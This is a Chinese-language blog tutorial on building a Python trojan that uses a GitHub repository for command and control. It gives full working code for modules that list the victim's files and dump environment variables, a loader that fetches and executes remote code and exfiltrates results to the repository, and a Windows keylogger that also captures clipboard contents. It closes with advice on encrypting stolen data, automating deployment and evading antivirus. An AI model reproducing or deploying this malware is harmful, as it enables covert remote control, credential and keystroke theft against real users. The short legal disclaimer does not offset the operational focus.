利用GitHub实现木马的命令与控制及常见Windows木马任务
在网络攻击中,利用GitHub来实现对木马的命令与控制是一种较为巧妙的方式,同时在Windows系统上执行一些常见的木马任务也有其独特的方法。下面将详细介绍相关内容。
1. 准备工作
首先,需要创建一个GitHub令牌。因为后续的操作需要读取配置和写入输出,所以要按照GitHub官网(https://docs.github.com/en/github/authenticating-to-github/)的说明来创建令牌,并将令牌字符串保存到本地的
mytoken.txt
文件中。为了避免意外将凭证推送到仓库,要把
mytoken.txt
添加到
.gitignore
文件里。
2. 创建模块
为了让木马能够执行不同的任务,我们需要创建一些简单的模块。
-
dirlister.py 模块
:
import os
def run(**args):
print("[*] In dirlister module.")
files = os.listdir(".")
return str(files)
这个模块的
run
函数会列出当前目录下的所有文件,并将文件列表作为字符串返回。每个开发的模块都应该有一个
run
函数,该函数可以接受可变数量的参数,这样就能以相同的方式加载每个模块,还可以根据需要在配置文件中传递不同的参数。
-
environment.py 模块
:
import os
def run(**args):
print("[*] In environment module.")
return os.environ
此模块用于获取木马所在远程机器上设置的所有环境变量。
创建好模块后,要将代码推送到GitHub仓库,以便木马可以使用。在主仓库目录下的命令行中执行以下操作:
$ git add .
$ git commit -m "Adds new modules"
$ git push origin master
Username: ********
Password: ********
3. 配置木马
为了让木马执行特定的任务,需要使用配置文件来告诉它要执行哪些操作以及哪些模块负责执行这些操作。每个部署的木马都应该有一个唯一的ID,这样可以根据这些ID对检索到的数据进行分类,并控制哪些木马执行特定的任务。
在
config
目录下创建一个名为
abc.json
的文件,内容如下:
[
{
"module": "dirlister"
},
{
"module": "environment"
}
]
这是一个简单的模块列表,远程木马将运行这些模块。然后在主仓库目录的命令行中执行以下操作来将配置文件推送到GitHub:
$ git add .
$ git commit -m "Adds simple configuration."
$ git push origin master
Username: ********
Password: ********
4. 构建基于GitHub的木马
创建一个名为
git_trojan.py
的文件,编写以下代码:
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
def github_connect():
with open('mytoken.txt') as f:
token = f.read()
user = 'tiarno'
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')
def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f'{dirname}/{module_name}').content
class Trojan:
def __init__(self, id):
self.id = id
self.config_file = f'{id}.json'
self.data_path = f'data/{id}/'
self.repo = github_connect()
def get_config(self):
config_json = get_file_contents(
'config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module'])
return config
def module_runner(self, module):
result = sys.modules[module].run()
self.store_module_result(result)
def store_module_result(self, data):
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = bytes('%r' % data, 'utf-8')
self.repo.create_file(
remote_path, message, base64.b64encode(bindata)
)
def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(
target=self.module_runner,
args=(task['module'],)
)
thread.start()
time.sleep(random.randint(1, 10))
time.sleep(random.randint(30 * 60, 3 * 60 * 60))
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()
其中,
github_connect
函数用于读取GitHub令牌并返回与GitHub仓库的连接;
get_file_contents
函数用于从远程仓库获取指定模块的内容。
Trojan
类包含了木马的主要功能,
get_config
方法用于获取远程配置文件,
module_runner
方法用于运行模块,
store_module_result
方法用于将模块的运行结果保存到GitHub仓库,
run
方法会不断循环执行配置文件中的任务。
5. 自定义Python导入功能
为了让木马能够导入GitHub仓库中的远程文件,需要自定义Python的导入功能。创建
GitImporter
类:
class GitImporter:
def __init__(self):
self.current_module_code = ""
def find_module(self, name, path=None):
print("[*] Attempting to retrieve %s" % name)
self.repo = github_connect()
new_library = get_file_contents('modules', f'{name}.py', self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None,
origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.__dict__)
sys.modules[spec.name] = new_module
return new_module
当解释器尝试加载不可用的模块时,会使用这个类。
find_module
方法会尝试定位模块,若找到则对代码进行Base64解码并存储;
load_module
方法会使用
importlib
模块创建新的模块对象,并将从GitHub获取的代码加载到该模块中。
6. 测试木马
在命令行中运行以下命令来测试木马:
$ python git_trojan.py
运行后,木马会连接到仓库,获取配置文件,加载配置文件中设置的模块并运行。之后可以在命令行中执行以下操作来查看模块运行结果:
$ git pull origin master
7. 常见Windows木马任务 - 键盘记录器
在Windows系统上,键盘记录是一种常见的木马任务。使用
PyWinHook
库可以轻松实现键盘事件的捕获。创建
keylogger.py
文件,代码如下:
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 60 * 10
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
windll.psapi.GetModuleBaseNameA(
h_process, None, byref(executable), 512
)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')
print('\n', process_id,
executable.value.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.Key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
KeyLogger
类的
get_current_process
方法用于获取当前活动窗口及其关联的进程ID,
mykeystroke
方法用于处理键盘事件,
run
方法会启动键盘记录器。
总结
通过上述步骤,我们可以利用GitHub实现对木马的命令与控制,并在Windows系统上执行常见的木马任务。不过,这种技术存在一定的安全风险,在实际应用中需要谨慎使用。同时,还可以对核心的命令与控制技术进行改进和增强,如加密模块、配置和渗出的数据,自动化数据拉取、配置文件更新和新木马部署等。
技术点分析与拓展
1. 基于GitHub的命令与控制架构分析
-
优点
- 灵活性 :通过配置文件可以动态控制木马执行的任务,方便添加、修改或删除模块。例如,若要新增一个文件上传模块,只需编写相应的代码并更新配置文件即可。
- 隐蔽性 :利用GitHub作为远程仓库,在一定程度上可以混淆网络流量,增加被发现的难度。
- 可维护性 :将模块和配置文件存储在GitHub上,便于统一管理和更新。
-
缺点
- 安全性 :如果令牌泄露,攻击者可能会获取仓库的访问权限,导致数据泄露或被篡改。
- 依赖网络 :木马需要联网才能从GitHub获取配置文件和模块,网络中断会影响其正常运行。
2. 键盘记录器技术分析
-
原理
:
PyWinHook库基于Windows的SetWindowsHookEx函数,该函数允许安装用户定义的函数来处理特定的Windows事件。通过注册键盘事件的钩子,PyWinHook可以捕获所有的按键信息。 -
局限性
- 权限问题 :需要足够的权限才能安装钩子,否则可能无法正常工作。
- 检测风险 :一些杀毒软件和安全工具可能会检测到键盘记录行为,将其视为恶意软件。
3. 操作流程总结
以下是整个过程的操作流程图:
graph LR
A[准备工作] --> B[创建模块]
B --> C[配置木马]
C --> D[构建基于GitHub的木马]
D --> E[自定义Python导入功能]
E --> F[测试木马]
F --> G[常见Windows木马任务 - 键盘记录器]
优化建议
1. 安全优化
- 加密数据 :对模块代码、配置文件和渗出的数据进行加密,防止数据在传输和存储过程中被窃取。可以使用对称加密算法,如AES,对数据进行加密。
- 多令牌管理 :为不同的木马创建不同的GitHub令牌,限制每个木马的访问权限,降低数据泄露的风险。
2. 性能优化
-
异步执行
:在木马执行任务时,可以采用异步编程的方式,提高并发性能。例如,使用Python的
asyncio库来实现异步任务。 - 减少网络请求 :可以设置缓存机制,减少不必要的网络请求,提高响应速度。
3. 自动化优化
-
脚本自动化
:编写脚本实现数据拉取、配置文件更新和新木马部署的自动化,提高工作效率。例如,使用Python的
subprocess模块来执行命令行操作。
未来展望
随着网络安全技术的不断发展,基于GitHub的命令与控制技术和常见Windows木马任务也面临着更多的挑战和机遇。未来可以探索以下方向:
-
跨平台支持
:将现有的技术扩展到其他操作系统,如Linux和macOS,实现更广泛的攻击范围。
-
机器学习集成
:利用机器学习算法对渗出的数据进行分析,提取有价值的信息,提高攻击的精准度。
-
对抗检测技术
:研究更高级的隐蔽技术,对抗杀毒软件和安全工具的检测,提高木马的生存能力。
注意事项
在进行相关技术研究和测试时,必须遵守法律法规,不得用于非法活动。同时,要注意保护自己和他人的隐私和安全。
通过对基于GitHub的命令与控制技术和常见Windows木马任务的深入学习和实践,我们可以更好地理解网络攻击的原理和方法,从而提高自身的安全防范意识和能力。
GitHub木马命令与控制详解
超级会员免费看
2411

被折叠的 条评论
为什么被折叠?



